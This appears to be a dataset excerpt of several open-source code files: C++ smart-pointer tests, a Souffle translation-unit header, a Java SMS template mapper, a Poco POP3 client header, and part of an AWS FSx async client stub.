max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
4,339 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <memory>
#include <boost/test/unit_test.hpp>
#include <boost/smart_ptr.hpp>
#include <boost/interprocess/smart_ptr/unique_ptr.hpp>
#include <ignite/reference.h>
using namespace ignite;
using namespace boost::unit_test;
class LivenessMarker
{
public:
LivenessMarker(bool& flag) :
flag(flag)
{
flag = true;
}
LivenessMarker(const LivenessMarker& other) :
flag(other.flag)
{
// No-op.
}
LivenessMarker& operator=(const LivenessMarker& other)
{
flag = other.flag;
return *this;
}
~LivenessMarker()
{
flag = false;
}
private:
bool& flag;
};
class InstanceCounter
{
public:
InstanceCounter(int& counter) :
counter(&counter)
{
++(*this->counter);
}
InstanceCounter(const InstanceCounter& other) :
counter(other.counter)
{
++(*counter);
}
InstanceCounter& operator=(const InstanceCounter& other)
{
counter = other.counter;
++(*counter);
return *this;
}
~InstanceCounter()
{
--(*counter);
}
private:
int* counter;
};
void TestFunction(Reference<LivenessMarker> ptr)
{
Reference<LivenessMarker> copy(ptr);
Reference<LivenessMarker> copy2(ptr);
}
struct C1
{
int c1;
};
struct C2
{
int c2;
};
struct C3 : C1, C2
{
int c3;
};
void TestFunction1(Reference<C1> c1, int expected)
{
BOOST_CHECK_EQUAL(c1.Get()->c1, expected);
}
void TestFunction2(Reference<C2> c2, int expected)
{
BOOST_CHECK_EQUAL(c2.Get()->c2, expected);
}
void TestFunction3(Reference<C3> c3, int expected)
{
BOOST_CHECK_EQUAL(c3.Get()->c3, expected);
}
void TestFunctionConst1(ConstReference<C1> c1, int expected)
{
BOOST_CHECK_EQUAL(c1.Get()->c1, expected);
}
void TestFunctionConst2(ConstReference<C2> c2, int expected)
{
BOOST_CHECK_EQUAL(c2.Get()->c2, expected);
}
void TestFunctionConst3(ConstReference<C3> c3, int expected)
{
BOOST_CHECK_EQUAL(c3.Get()->c3, expected);
}
BOOST_AUTO_TEST_SUITE(ReferenceTestSuite)
BOOST_AUTO_TEST_CASE(StdSharedPointerTestBefore)
{
#if !defined(BOOST_NO_CXX11_SMART_PTR)
bool objAlive = false;
std::shared_ptr<LivenessMarker> shared = std::make_shared<LivenessMarker>(objAlive);
BOOST_CHECK(objAlive);
{
Reference<LivenessMarker> smart = MakeReferenceFromSmartPointer(shared);
BOOST_CHECK(objAlive);
shared.reset();
BOOST_CHECK(objAlive);
}
BOOST_CHECK(!objAlive);
#endif
}
BOOST_AUTO_TEST_CASE(StdSharedPointerTestAfter)
{
#if !defined(BOOST_NO_CXX11_SMART_PTR)
bool objAlive = false;
std::shared_ptr<LivenessMarker> shared = std::make_shared<LivenessMarker>(objAlive);
BOOST_CHECK(objAlive);
{
Reference<LivenessMarker> smart = MakeReferenceFromSmartPointer(shared);
BOOST_CHECK(objAlive);
}
BOOST_CHECK(objAlive);
shared.reset();
BOOST_CHECK(!objAlive);
#endif
}
BOOST_AUTO_TEST_CASE(StdAutoPointerTest)
{
bool objAlive = false;
std::auto_ptr<LivenessMarker> autop(new LivenessMarker(objAlive));
BOOST_CHECK(objAlive);
{
Reference<LivenessMarker> smart = MakeReferenceFromSmartPointer(autop);
BOOST_CHECK(objAlive);
}
BOOST_CHECK(!objAlive);
}
BOOST_AUTO_TEST_CASE(StdUniquePointerTest)
{
#if !defined(BOOST_NO_CXX11_SMART_PTR)
bool objAlive = false;
std::unique_ptr<LivenessMarker> unique(new LivenessMarker(objAlive));
BOOST_CHECK(objAlive);
{
Reference<LivenessMarker> smart = MakeReferenceFromSmartPointer(std::move(unique));
BOOST_CHECK(objAlive);
}
BOOST_CHECK(!objAlive);
#endif
}
BOOST_AUTO_TEST_CASE(BoostSharedPointerTestBefore)
{
bool objAlive = false;
boost::shared_ptr<LivenessMarker> shared = boost::make_shared<LivenessMarker>(boost::ref(objAlive));
BOOST_CHECK(objAlive);
{
Reference<LivenessMarker> smart = MakeReferenceFromSmartPointer(shared);
BOOST_CHECK(objAlive);
shared.reset();
BOOST_CHECK(objAlive);
}
BOOST_CHECK(!objAlive);
}
BOOST_AUTO_TEST_CASE(BoostSharedPointerTestAfter)
{
bool objAlive = false;
boost::shared_ptr<LivenessMarker> shared = boost::make_shared<LivenessMarker>(boost::ref(objAlive));
BOOST_CHECK(objAlive);
{
Reference<LivenessMarker> smart = MakeReferenceFromSmartPointer(shared);
BOOST_CHECK(objAlive);
}
BOOST_CHECK(objAlive);
shared.reset();
BOOST_CHECK(!objAlive);
}
BOOST_AUTO_TEST_CASE(PassingToFunction)
{
#if !defined(BOOST_NO_CXX11_SMART_PTR)
bool objAlive = false;
std::shared_ptr<LivenessMarker> stdShared = std::make_shared<LivenessMarker>(objAlive);
std::unique_ptr<LivenessMarker> stdUnique(new LivenessMarker(objAlive));
std::auto_ptr<LivenessMarker> stdAuto(new LivenessMarker(objAlive));
boost::shared_ptr<LivenessMarker> boostShared = boost::make_shared<LivenessMarker>(objAlive);
TestFunction(MakeReferenceFromSmartPointer(stdShared));
TestFunction(MakeReferenceFromSmartPointer(std::move(stdUnique)));
TestFunction(MakeReferenceFromSmartPointer(stdAuto));
TestFunction(MakeReferenceFromSmartPointer(boostShared));
#endif
}
BOOST_AUTO_TEST_CASE(CopyTest)
{
int instances = 0;
{
InstanceCounter counter(instances);
BOOST_CHECK_EQUAL(instances, 1);
{
Reference<InstanceCounter> copy = MakeReferenceFromCopy(counter);
BOOST_CHECK_EQUAL(instances, 2);
}
BOOST_CHECK_EQUAL(instances, 1);
}
BOOST_CHECK_EQUAL(instances, 0);
}
BOOST_AUTO_TEST_CASE(OwningPointerTest)
{
int instances = 0;
{
InstanceCounter *counter = new InstanceCounter(instances);
BOOST_CHECK_EQUAL(instances, 1);
{
Reference<InstanceCounter> owned = MakeReferenceFromOwningPointer(counter);
BOOST_CHECK_EQUAL(instances, 1);
}
BOOST_CHECK_EQUAL(instances, 0);
}
BOOST_CHECK_EQUAL(instances, 0);
}
BOOST_AUTO_TEST_CASE(NonOwningPointerTest1)
{
int instances = 0;
{
InstanceCounter counter(instances);
BOOST_CHECK_EQUAL(instances, 1);
{
Reference<InstanceCounter> copy = MakeReference(counter);
BOOST_CHECK_EQUAL(instances, 1);
}
BOOST_CHECK_EQUAL(instances, 1);
}
BOOST_CHECK_EQUAL(instances, 0);
}
BOOST_AUTO_TEST_CASE(NonOwningPointerTest2)
{
int instances = 0;
InstanceCounter* counter = new InstanceCounter(instances);
BOOST_CHECK_EQUAL(instances, 1);
{
Reference<InstanceCounter> copy = MakeReference(*counter);
BOOST_CHECK_EQUAL(instances, 1);
delete counter;
BOOST_CHECK_EQUAL(instances, 0);
}
BOOST_CHECK_EQUAL(instances, 0);
}
BOOST_AUTO_TEST_CASE(CastTest)
{
C3 testVal;
testVal.c1 = 1;
testVal.c2 = 2;
testVal.c3 = 3;
TestFunction1(MakeReference(testVal), 1);
TestFunction2(MakeReference(testVal), 2);
TestFunction3(MakeReference(testVal), 3);
TestFunction1(MakeReferenceFromCopy(testVal), 1);
TestFunction2(MakeReferenceFromCopy(testVal), 2);
TestFunction3(MakeReferenceFromCopy(testVal), 3);
}
BOOST_AUTO_TEST_CASE(ConstTest)
{
C3 testVal;
testVal.c1 = 1;
testVal.c2 = 2;
testVal.c3 = 3;
TestFunctionConst1(MakeConstReference(testVal), 1);
TestFunctionConst2(MakeConstReference(testVal), 2);
TestFunctionConst3(MakeConstReference(testVal), 3);
TestFunctionConst1(MakeConstReferenceFromCopy(testVal), 1);
TestFunctionConst2(MakeConstReferenceFromCopy(testVal), 2);
TestFunctionConst3(MakeConstReferenceFromCopy(testVal), 3);
TestFunctionConst1(MakeReference(testVal), 1);
TestFunctionConst2(MakeReference(testVal), 2);
TestFunctionConst3(MakeReference(testVal), 3);
TestFunctionConst1(MakeReferenceFromCopy(testVal), 1);
TestFunctionConst2(MakeReferenceFromCopy(testVal), 2);
TestFunctionConst3(MakeReferenceFromCopy(testVal), 3);
}
BOOST_AUTO_TEST_SUITE_END()
| 3,735 |
570 | <reponame>langston-barrett/souffle
/*
* Souffle - A Datalog Compiler
* Copyright (c) 2021, The Souffle Developers. All rights reserved
* Licensed under the Universal Permissive License v 1.0 as shown at:
* - https://opensource.org/licenses/UPL
* - <souffle root>/licenses/SOUFFLE-UPL.txt
*/
/************************************************************************
*
* @file TranslationUnitBase.h
*
* Define a translation unit
*
***********************************************************************/
#pragma once
#include "reports/DebugReport.h"
#include "reports/ErrorReport.h"
#include "souffle/utility/DynamicCasting.h"
#include "souffle/utility/Types.h"
#include <cassert>
#include <map>
#include <memory>
#include <ostream>
#include <set>
#include <string>
#include <type_traits>
#include <utility>
namespace souffle::detail {
/**
* @brief Abstract class for an analysis.
* TODO: make `name` a template parameter to enforce `constexpr`ness
*/
class AnalysisBase {
public:
// PRECONDITION: `name_as_cstr_literal` must have program lifetime (i.e. make it a literal)
AnalysisBase(const char* name_as_cstr_literal) : name_as_cstr_literal(name_as_cstr_literal) {
assert(name_as_cstr_literal);
}
virtual ~AnalysisBase() = default;
/** @brief get name of the analysis */
char const* getName() const {
return name_as_cstr_literal;
}
/** @brief Print the analysis result in HTML format */
virtual void print(std::ostream& /* os */) const {}
private:
char const* const name_as_cstr_literal;
};
inline std::ostream& operator<<(std::ostream& os, const AnalysisBase& rhs) {
rhs.print(os);
return os;
}
/**
* @brief A translation context for a program.
*
* Comprises the program, symbol table, error report, debug report, and analysis caching.
*/
template <typename Impl, typename Program>
struct TranslationUnitBase {
struct Analysis : souffle::detail::AnalysisBase {
using AnalysisBase::AnalysisBase;
virtual void run(Impl const&) = 0;
};
TranslationUnitBase(Own<Program> prog, ErrorReport& e, DebugReport& d)
: program(std::move(prog)), errorReport(e), debugReport(d) {
assert(program != nullptr && "program is a null-pointer");
}
/** get analysis: analysis is generated on the fly if not present */
template <class A, typename = std::enable_if_t<std::is_base_of_v<AnalysisBase, A>>>
A& getAnalysis() const {
static_assert(std::is_same_v<char const* const, decltype(A::name)>,
"`name` member must be a static literal");
auto it = analyses.find(A::name);
if (it == analyses.end()) {
it = analyses.insert({A::name, mk<A>()}).first;
auto& analysis = *it->second;
assert(analysis.getName() == A::name && "must be same pointer");
analysis.run(static_cast<Impl const&>(*this));
logAnalysis(analysis);
}
return asAssert<A>(it->second.get());
}
/** @brief Get all alive analyses */
std::set<const AnalysisBase*> getAliveAnalyses() const {
std::set<const AnalysisBase*> result;
for (auto const& a : analyses) {
result.insert(a.second.get());
}
return result;
}
/** @brief Invalidate all alive analyses of the translation unit */
void invalidateAnalyses() {
analyses.clear();
}
/** @brief Get the RAM Program of the translation unit */
Program& getProgram() const {
return *program;
}
/** @brief Obtain error report */
ErrorReport& getErrorReport() {
return errorReport;
}
/** @brief Obtain debug report */
DebugReport& getDebugReport() {
return debugReport;
}
protected:
virtual void logAnalysis(Analysis&) const {}
/* Cached analyses */
// HACK: (GCC bug?) using `char const*` and GCC 9.2.0 w/ -O1+ and asan => program corruption
// Clang is happy. GCC 9.2.0 -O1+ w/o asan is happy. Go figure.
// Using `std::string` appears to suppress the issue (bug?).
mutable std::map<std::string, Own<Analysis>> analyses;
/* RAM program */
Own<Program> program;
/* Error report for raising errors and warnings */
ErrorReport& errorReport;
/* Debug report for logging information */
DebugReport& debugReport;
};
} // namespace souffle::detail
| 1,612 |
6,034 | package cn.iocoder.mall.system.biz.dao.sms;
import cn.iocoder.mall.system.biz.dataobject.sms.SmsTemplateDO;
import cn.iocoder.mall.system.biz.dto.smsTemplate.ListSmsTemplateDTO;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import org.springframework.stereotype.Repository;
import org.springframework.util.StringUtils;
/**
* 短信 template
*
* @author Sin
* @time 2019/5/16 6:18 PM
*/
@Repository
public interface SmsTemplateMapper extends BaseMapper<SmsTemplateDO> {
default IPage<SmsTemplateDO> listSmsTemplate(ListSmsTemplateDTO listSmsTemplateDTO) {
QueryWrapper<SmsTemplateDO> queryWrapper = new QueryWrapper<>();
if (listSmsTemplateDTO.getApplyStatus() != null) {
queryWrapper.eq("apply_status", listSmsTemplateDTO.getApplyStatus());
}
if (listSmsTemplateDTO.getSmsSignId() != null) {
queryWrapper.eq("sms_sign_id", listSmsTemplateDTO.getSmsSignId());
}
if (!StringUtils.isEmpty(listSmsTemplateDTO.getTemplate())) {
queryWrapper.like("template", listSmsTemplateDTO.getTemplate());
}
if (!StringUtils.isEmpty(listSmsTemplateDTO.getId())) {
queryWrapper.eq("id", listSmsTemplateDTO.getId());
}
Page<SmsTemplateDO> page = new Page<SmsTemplateDO>()
.setSize(listSmsTemplateDTO.getPageSize())
.setCurrent(listSmsTemplateDTO.getPageNo())
.setDesc("create_time");
return selectPage(page, queryWrapper);
}
}
| 731 |
2,151 | <gh_stars>1000+
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_ELF_THIRD_PARTY_DLLS_LOGS_H_
#define CHROME_ELF_THIRD_PARTY_DLLS_LOGS_H_
#include <windows.h>
#include <stdint.h>
#include <string>
#include "chrome_elf/third_party_dlls/logging_api.h"
namespace third_party_dlls {
// "static_cast<int>(LogStatus::value)" to access underlying value.
enum class LogStatus { kSuccess = 0, kCreateMutexFailure = 1, COUNT };
// Adds a module load attempt to the internal load log.
// - |log_type| indicates the type of logging.
// - |basename_hash| and |code_id_hash| must each point to a buffer of size
// elf_sha1::kSHA1Length, holding a SHA-1 digest (of the module's basename and
// code identifier, respectively).
// - For loads that are allowed, |full_image_path| indicates the full path of
// the loaded image.
void LogLoadAttempt(LogType log_type,
const std::string& basename_hash,
const std::string& code_id_hash,
const std::string& full_image_path);
// Initialize internal logs.
LogStatus InitLogs();
// Removes initialization for use by tests, or cleanup on failure.
void DeinitLogs();
} // namespace third_party_dlls
#endif // CHROME_ELF_THIRD_PARTY_DLLS_LOGS_H_
| 499 |
390 | //
// POP3ClientSession.h
//
// $Id: //poco/1.4/Net/include/Poco/Net/POP3ClientSession.h#1 $
//
// Library: Net
// Package: Mail
// Module: POP3ClientSession
//
// Definition of the POP3ClientSession class.
//
// Copyright (c) 2005-2006, Applied Informatics Software Engineering GmbH.
// and Contributors.
//
// Permission is hereby granted, free of charge, to any person or organization
// obtaining a copy of the software and accompanying documentation covered by
// this license (the "Software") to use, reproduce, display, distribute,
// execute, and transmit the Software, and to prepare derivative works of the
// Software, and to permit third-parties to whom the Software is furnished to
// do so, all subject to the following:
//
// The copyright notices in the Software and this entire statement, including
// the above license grant, this restriction and the following disclaimer,
// must be included in all copies of the Software, in whole or in part, and
// all derivative works of the Software, unless such copies or derivative
// works are solely in the form of machine-executable object code generated by
// a source language processor.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
// SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
// FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
// ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
//
#ifndef Net_POP3ClientSession_INCLUDED
#define Net_POP3ClientSession_INCLUDED
#include "Poco/Net/Net.h"
#include "Poco/Net/DialogSocket.h"
#include "Poco/Timespan.h"
#include <ostream>
#include <vector>
namespace Poco {
namespace Net {
class MessageHeader;
class MailMessage;
class PartHandler;
class Net_API POP3ClientSession
/// This class implements an Post Office Protocol
/// Version 3 (POP3, RFC 1939)
/// client for receiving e-mail messages.
{
public:
enum
{
POP3_PORT = 110
};
struct MessageInfo
/// Information returned by listMessages().
{
int id;
int size;
};
typedef std::vector<MessageInfo> MessageInfoVec;
explicit POP3ClientSession(const StreamSocket& socket);
/// Creates the POP3ClientSession using
/// the given socket, which must be connected
/// to a POP3 server.
POP3ClientSession(const std::string& host, Poco::UInt16 port = POP3_PORT);
/// Creates the POP3ClientSession using a socket connected
/// to the given host and port.
virtual ~POP3ClientSession();
/// Destroys the SMTPClientSession.
void setTimeout(const Poco::Timespan& timeout);
/// Sets the timeout for socket read operations.
Poco::Timespan getTimeout() const;
/// Returns the timeout for socket read operations.
void login(const std::string& username, const std::string& password);
/// Logs in to the POP3 server by sending a USER command
/// followed by a PASS command.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
void close();
/// Sends a QUIT command and closes the connection to the server.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
int messageCount();
/// Sends a STAT command to determine the number of messages
/// available on the server and returns that number.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
void listMessages(MessageInfoVec& messages);
/// Fills the given vector with the ids and sizes of all
/// messages available on the server.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
void retrieveMessage(int id, MailMessage& message);
/// Retrieves the message with the given id from the server and
/// stores the raw message content in the message's
/// content string, available with message.getContent().
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
void retrieveMessage(int id, MailMessage& message, PartHandler& handler);
/// Retrieves the message with the given id from the server and
/// stores it in message.
///
/// If the message has multiple parts, the parts
/// are reported to the PartHandler. If the message
/// is not a multi-part message, the content is stored
/// in a string available by calling message.getContent().
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
void retrieveMessage(int id, std::ostream& ostr);
/// Retrieves the raw message with the given id from the
/// server and copies it to the given output stream.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
void retrieveHeader(int id, MessageHeader& header);
/// Retrieves the message header of the message with the
/// given id and stores it in header.
///
/// For this to work, the server must support the TOP command.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
void deleteMessage(int id);
/// Marks the message with the given ID for deletion. The message
/// will be deleted when the connection to the server is
/// closed by calling close().
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
bool sendCommand(const std::string& command, std::string& response);
/// Sends the given command verbatim to the server
/// and waits for a response.
///
/// Returns true if the response is positive, false otherwise.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
bool sendCommand(const std::string& command, const std::string& arg, std::string& response);
/// Sends the given command verbatim to the server
/// and waits for a response.
///
/// Returns true if the response is positive, false otherwise.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
bool sendCommand(const std::string& command, const std::string& arg1, const std::string& arg2, std::string& response);
/// Sends the given command verbatim to the server
/// and waits for a response.
///
/// Returns true if the response is positive, false otherwise.
///
/// Throws a POP3Exception in case of a POP3-specific error, or a
/// NetException in case of a general network communication failure.
protected:
static bool isPositive(const std::string& response);
private:
DialogSocket _socket;
bool _isOpen;
};
} } // namespace Poco::Net
#endif // Net_POP3ClientSession_INCLUDED
| 2,101 |
3,372 | <filename>aws-java-sdk-fsx/src/main/java/com/amazonaws/services/fsx/AbstractAmazonFSxAsync.java
/*
* Copyright 2016-2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.fsx;
import javax.annotation.Generated;
import com.amazonaws.services.fsx.model.*;
/**
* Abstract implementation of {@code AmazonFSxAsync}. Convenient method forms pass through to the corresponding overload
* that takes a request object and an {@code AsyncHandler}, which throws an {@code UnsupportedOperationException}.
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class AbstractAmazonFSxAsync extends AbstractAmazonFSx implements AmazonFSxAsync {
protected AbstractAmazonFSxAsync() {
}
@Override
public java.util.concurrent.Future<AssociateFileSystemAliasesResult> associateFileSystemAliasesAsync(AssociateFileSystemAliasesRequest request) {
return associateFileSystemAliasesAsync(request, null);
}
@Override
public java.util.concurrent.Future<AssociateFileSystemAliasesResult> associateFileSystemAliasesAsync(AssociateFileSystemAliasesRequest request,
com.amazonaws.handlers.AsyncHandler<AssociateFileSystemAliasesRequest, AssociateFileSystemAliasesResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CancelDataRepositoryTaskResult> cancelDataRepositoryTaskAsync(CancelDataRepositoryTaskRequest request) {
return cancelDataRepositoryTaskAsync(request, null);
}
@Override
public java.util.concurrent.Future<CancelDataRepositoryTaskResult> cancelDataRepositoryTaskAsync(CancelDataRepositoryTaskRequest request,
com.amazonaws.handlers.AsyncHandler<CancelDataRepositoryTaskRequest, CancelDataRepositoryTaskResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CopyBackupResult> copyBackupAsync(CopyBackupRequest request) {
return copyBackupAsync(request, null);
}
@Override
public java.util.concurrent.Future<CopyBackupResult> copyBackupAsync(CopyBackupRequest request,
com.amazonaws.handlers.AsyncHandler<CopyBackupRequest, CopyBackupResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CreateBackupResult> createBackupAsync(CreateBackupRequest request) {
return createBackupAsync(request, null);
}
@Override
public java.util.concurrent.Future<CreateBackupResult> createBackupAsync(CreateBackupRequest request,
com.amazonaws.handlers.AsyncHandler<CreateBackupRequest, CreateBackupResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CreateDataRepositoryTaskResult> createDataRepositoryTaskAsync(CreateDataRepositoryTaskRequest request) {
return createDataRepositoryTaskAsync(request, null);
}
@Override
public java.util.concurrent.Future<CreateDataRepositoryTaskResult> createDataRepositoryTaskAsync(CreateDataRepositoryTaskRequest request,
com.amazonaws.handlers.AsyncHandler<CreateDataRepositoryTaskRequest, CreateDataRepositoryTaskResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CreateFileSystemResult> createFileSystemAsync(CreateFileSystemRequest request) {
return createFileSystemAsync(request, null);
}
@Override
public java.util.concurrent.Future<CreateFileSystemResult> createFileSystemAsync(CreateFileSystemRequest request,
com.amazonaws.handlers.AsyncHandler<CreateFileSystemRequest, CreateFileSystemResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CreateFileSystemFromBackupResult> createFileSystemFromBackupAsync(CreateFileSystemFromBackupRequest request) {
return createFileSystemFromBackupAsync(request, null);
}
@Override
public java.util.concurrent.Future<CreateFileSystemFromBackupResult> createFileSystemFromBackupAsync(CreateFileSystemFromBackupRequest request,
com.amazonaws.handlers.AsyncHandler<CreateFileSystemFromBackupRequest, CreateFileSystemFromBackupResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CreateStorageVirtualMachineResult> createStorageVirtualMachineAsync(CreateStorageVirtualMachineRequest request) {
return createStorageVirtualMachineAsync(request, null);
}
@Override
public java.util.concurrent.Future<CreateStorageVirtualMachineResult> createStorageVirtualMachineAsync(CreateStorageVirtualMachineRequest request,
com.amazonaws.handlers.AsyncHandler<CreateStorageVirtualMachineRequest, CreateStorageVirtualMachineResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CreateVolumeResult> createVolumeAsync(CreateVolumeRequest request) {
return createVolumeAsync(request, null);
}
@Override
public java.util.concurrent.Future<CreateVolumeResult> createVolumeAsync(CreateVolumeRequest request,
com.amazonaws.handlers.AsyncHandler<CreateVolumeRequest, CreateVolumeResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<CreateVolumeFromBackupResult> createVolumeFromBackupAsync(CreateVolumeFromBackupRequest request) {
return createVolumeFromBackupAsync(request, null);
}
@Override
public java.util.concurrent.Future<CreateVolumeFromBackupResult> createVolumeFromBackupAsync(CreateVolumeFromBackupRequest request,
com.amazonaws.handlers.AsyncHandler<CreateVolumeFromBackupRequest, CreateVolumeFromBackupResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DeleteBackupResult> deleteBackupAsync(DeleteBackupRequest request) {
return deleteBackupAsync(request, null);
}
@Override
public java.util.concurrent.Future<DeleteBackupResult> deleteBackupAsync(DeleteBackupRequest request,
com.amazonaws.handlers.AsyncHandler<DeleteBackupRequest, DeleteBackupResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DeleteFileSystemResult> deleteFileSystemAsync(DeleteFileSystemRequest request) {
return deleteFileSystemAsync(request, null);
}
@Override
public java.util.concurrent.Future<DeleteFileSystemResult> deleteFileSystemAsync(DeleteFileSystemRequest request,
com.amazonaws.handlers.AsyncHandler<DeleteFileSystemRequest, DeleteFileSystemResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DeleteStorageVirtualMachineResult> deleteStorageVirtualMachineAsync(DeleteStorageVirtualMachineRequest request) {
return deleteStorageVirtualMachineAsync(request, null);
}
@Override
public java.util.concurrent.Future<DeleteStorageVirtualMachineResult> deleteStorageVirtualMachineAsync(DeleteStorageVirtualMachineRequest request,
com.amazonaws.handlers.AsyncHandler<DeleteStorageVirtualMachineRequest, DeleteStorageVirtualMachineResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DeleteVolumeResult> deleteVolumeAsync(DeleteVolumeRequest request) {
return deleteVolumeAsync(request, null);
}
@Override
public java.util.concurrent.Future<DeleteVolumeResult> deleteVolumeAsync(DeleteVolumeRequest request,
com.amazonaws.handlers.AsyncHandler<DeleteVolumeRequest, DeleteVolumeResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DescribeBackupsResult> describeBackupsAsync(DescribeBackupsRequest request) {
return describeBackupsAsync(request, null);
}
@Override
public java.util.concurrent.Future<DescribeBackupsResult> describeBackupsAsync(DescribeBackupsRequest request,
com.amazonaws.handlers.AsyncHandler<DescribeBackupsRequest, DescribeBackupsResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DescribeDataRepositoryTasksResult> describeDataRepositoryTasksAsync(DescribeDataRepositoryTasksRequest request) {
return describeDataRepositoryTasksAsync(request, null);
}
@Override
public java.util.concurrent.Future<DescribeDataRepositoryTasksResult> describeDataRepositoryTasksAsync(DescribeDataRepositoryTasksRequest request,
com.amazonaws.handlers.AsyncHandler<DescribeDataRepositoryTasksRequest, DescribeDataRepositoryTasksResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DescribeFileSystemAliasesResult> describeFileSystemAliasesAsync(DescribeFileSystemAliasesRequest request) {
return describeFileSystemAliasesAsync(request, null);
}
@Override
public java.util.concurrent.Future<DescribeFileSystemAliasesResult> describeFileSystemAliasesAsync(DescribeFileSystemAliasesRequest request,
com.amazonaws.handlers.AsyncHandler<DescribeFileSystemAliasesRequest, DescribeFileSystemAliasesResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DescribeFileSystemsResult> describeFileSystemsAsync(DescribeFileSystemsRequest request) {
return describeFileSystemsAsync(request, null);
}
@Override
public java.util.concurrent.Future<DescribeFileSystemsResult> describeFileSystemsAsync(DescribeFileSystemsRequest request,
com.amazonaws.handlers.AsyncHandler<DescribeFileSystemsRequest, DescribeFileSystemsResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DescribeStorageVirtualMachinesResult> describeStorageVirtualMachinesAsync(DescribeStorageVirtualMachinesRequest request) {
return describeStorageVirtualMachinesAsync(request, null);
}
@Override
public java.util.concurrent.Future<DescribeStorageVirtualMachinesResult> describeStorageVirtualMachinesAsync(DescribeStorageVirtualMachinesRequest request,
com.amazonaws.handlers.AsyncHandler<DescribeStorageVirtualMachinesRequest, DescribeStorageVirtualMachinesResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
public java.util.concurrent.Future<DescribeVolumesResult> describeVolumesAsync(DescribeVolumesRequest request) {
return describeVolumesAsync(request, null);
}
@Override
public java.util.concurrent.Future<DescribeVolumesResult> describeVolumesAsync(DescribeVolumesRequest request,
com.amazonaws.handlers.AsyncHandler<DescribeVolumesRequest, DescribeVolumesResult> asyncHandler) {
throw new java.lang.UnsupportedOperationException();
}
@Override
